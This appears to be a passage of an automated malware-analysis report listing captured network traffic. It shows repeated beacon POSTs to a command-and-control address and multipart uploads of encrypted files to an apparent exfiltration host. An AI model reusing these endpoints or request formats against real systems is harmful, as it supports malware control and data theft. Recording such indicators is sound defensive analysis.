Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: /Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------P4Udq0rmp2aXcFUwMX0N0DData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 34 55 64 71 30 72 6d 70 32 61 58 63 46 55 77 4d 58 30 4e 30 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 54 75 66 69 76 75 73 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 91 bc c0 fa 08 28 ef d8 c9 85 d1 b6 5c 7b d2 71 07 32 e3 7f 29 4c 3c 5e 68 eb b7 c4 2b 30 e8 b4 d8 6f 13 e8 97 eb 36 e0 98 72 fa 95 ac 59 6b 74 19 e1 60 e8 cb 44 c8 82 96 85 f8 a3 7a 25 98 93 d0 52 a9 b3 18 ce 17 9d a9 cf 78 97 ea 76 f6 f6 70 b5 ce 63 93 a2 49 34 8b c5 40 36 61 27 48 77 e2 fc e3 6b d0 33 f1 0b 89 64 24 5f 26 9d 3d f8 56 eb 0c 31 8f 4e 41 d0 40 95 a7 cc 20 11 52 a0 e2 f9 59 06 38 9f 14 75 b3 d1 8f 1a 49 dd bd 32 1e 14 66 65 ca d3 c5 28 4e 28 be 6b 5d d4 ea 75 33 6c cb 03 09 40 32 2f ce f1 45 14 77 47 80 0e 68 0a 76 97 22 fe 5c 98 d7 39 ad 7f 6f 26 29 de f6 d3 b6 b0 c3 3d a4 53 b4 36 4c d0 6b 3e b7 95 35 02 79 05 62 77 fc 41 5f 1e 66 df 8a 16 e1 06 c9 78 ae 32 ff b5 f1 cb de ac d0 b5 70 a9 c5 91 c0 b1 3e 15 14 88 2f a7 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 34 55 64 71 30 72 6d 70 32 61 58 63 46 55 77 4d 58 30 4e 30 44 2d 2d 0d 0a Data Ascii: --------------------------P4Udq0rmp2aXcFUwMX0N0DContent-Disposition: form-data; name="file"; filename="Tufivusi.bin"Content-Type: application/octet-stream(\{q2)L<^h+0o6rYkt`Dz%RxvpcI4@6a'Hwk3d$_&=V1NA@ RY8uI2fe(N(k]u3l@2/EwGhv"\9o&)=S6Lk>5ybwA_fx2p>/--------------------------P4Udq0rmp2aXcFUwMX0N0D--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentykx20pt.topAccept: /Content-Length: 58951Content-Type: multipart/form-data; boundary=------------------------F8HCe7kAdO4hpbF3UNEsVFData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 38 48 43 65 37 6b 41 64 4f 34 68 70 62 46 33 55 4e 45 73 56 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 46 69 76 65 6d 65 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a af 79 d3 1c 71 c5 a3 23 74 7a 04 f8 1b 1e b8 5f 9d 33 1b ff c4 aa 47 30 a4 98 b4 23 90 de fe 01 09 4f 37 90 c2 79 58 a8 f0 9a 15 60 6c 87 1b 9d 7a 7d 6b 97 79 bf 4b 48 d0 dc 27 1e 3a 65 b3 45 77 6c d2 e1 ad e4 70 40 87 c2 e6 53 f4 3e 1a aa 42 63 35 c3 95 3c 37 b7 8c ff e7 4b e6 f3 85 9e d9 29 13 05 d7 1c 96 1a a1 68 2c 8c f9 92 14 68 ef 45 5a 79 dc a4 71 3f ad 74 cb f6 7b f8 c8 57 7a 03 01 8a 84 d0 25 79 81 df 2f 29 dc fe 7a c4 69 8b 88 fb f3 47 49 05 4d c6 96 8a 4c eb ef e0 9d 57 b2 2b e5 58 94 61 60 3f d1 3d df e5 03 dc fa 23 e8 99 ad 0e 44 c0 71 db 87 e4 b0 0e a5 7b 40 0d 45 1f 29 d4 09 10 43 02 53 c0 7e fc 55 9e 4a ac 4e 13 b0 12 01 14 a1 02 de 4e 41 7a dd 0e 8d 70 ad 18 fc 86 c3 02 95 6e 18 72 db 21 a0 d9 fe c5 0e 02 24 af cf fb ff b8 7c a5 27 51 84 7d 66 03 8f 25 92 32 48 fe 1e 30 08 41 fd 3f f5 e3 23 73 3c c5 77 e8 53 02 d7 54 0e 6b 77 b4 83 7c 5e 27 b7 a2 29 d7 34 b7 30 45 5e 88 51 7c e3 c1 1f 41 66 79 c1 74 d8 1d 62 eb eb c3 51 ae 2e 4e 4f b7 f3 2b da 56 9d ec 37 6c 6a e2 bb 98 4f 0d 2d 2c 62 ed c8 28 7c c8 1c e4 1d b3 39 77 3e 0a a6 c0 5a ac f2 48 bf a6 c3 37 06 f1 8f dd ec 8a 93 7b 12 5e 7b f6 a6 dd 6c 82 5e d7 e3 6f 56 aa f4 f8 07 7f 47 c9 f7 70 ef a7 59 22 b0 fe fe 32 ff 1b 8d 1d d6 7d 6d 53 01 8b ba 76 01 fc 4a e6 17 f2 24 88 76 17 ed 5b 87 ce 87 be e1 58 30 9b b2 48 55 b8 cd 85 61 4a 17 f5 bd 71 a2 61 4a 4f ba e7 b1 4c ff 95 c3 49 0d a3 f0 68 f6 3f 94 fc bd c6 50 74 13 49 ed c7 b4 53 19 26 dd 75 89 c2 9a 4a 35 ab 3f c4 f9 26 58 fe 77 88 d8 a7 c8 22 90 1a 00 78 65 d7 68 22 1d c1 05 76 76 5e 68 b1 02 59 91 8a bf 44 a8 f7 d5 35 40 51 98 b8 b7 e2 1b 90 7a b8 53 c6 bb 6e 16 d3 f0 1e c0 51 c7 61 21 c5 0f 5b a0 99 32 c3 39 bb db 3a 8d 86 a4 13 18 e0 4f 1f 2b 4f 1f 63 cd 95 c7 25 3c 34 07 07 e6 e5 cc 53 59 fd 30 3f 98 fe 15 c3 1d e8 28 bd a1 82 bf f0 f3 a9 9f ff 7a be 96 60 f7 62 7b 04 ed e3 18 c4 de 85 8c 9b 03 a7 fb 1e ef e7 54 fa 91 84 19 61 71 a5 ac d4 2b 50 8d 62 5e 05 b6 e5 9a cd 65 7b c7 8a 25 b9 cf d3 a8 9a 7e b5 7e a5 d7 41 5c 53 d8 84 fe 6d 65 f4 a3 2c 3c 9e f7 b2 b1 10 47 5d bd 9d ce 59 42 2a 7c fb 79 4f cd 1e 04 a5 ab ed 65 fa 13 51 9d 13 e2 15 b3 fc 73 35 f4 9e 88 89 a0 89 06 0f c4 9e 67 ca fb 35 af 51 a7 bd 59 48 18 25 5a c1 9a 61 f4 de a1 70 fb d7 c2 13 b0 50 d5 ea 4d 5b ab a0 5c da 40 a1 63 02 4b 54 6c fe 86 cd c4 08 1a fc b9 93 d2 21 e0 73 19 7c 4a fd 50 0d bd
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 46 37 36 42 33 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12F76B35A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
